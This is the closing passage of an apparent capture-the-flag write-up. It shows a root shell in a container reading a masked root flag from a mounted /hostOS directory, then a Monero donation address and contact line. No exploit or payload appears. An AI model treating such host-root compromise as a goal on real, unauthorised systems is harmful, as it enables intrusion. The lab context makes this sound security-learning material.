root@72fd5d0030ac:/hostOS# cd root
root@72fd5d0030ac:/hostOS/root# ls
root.txt
root@72fd5d0030ac:/hostOS/root# cat root.txt
abXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And there we have it ! we have been able to print the root flag that was oddly placed in the /hostOS/root/ directory.
Here we can see the progress graph :
Donate XMR: 8AUYjhQeG3D5aodJDtqG499N5jXXM71gYKD8LgSsFB9BUV1o7muLv3DXHoydRTK4SZaaUBq4EAUqpZHLrX2VZLH71Jrd9k8
Contact: nihilist@contact.nowhere.moe (PGP)
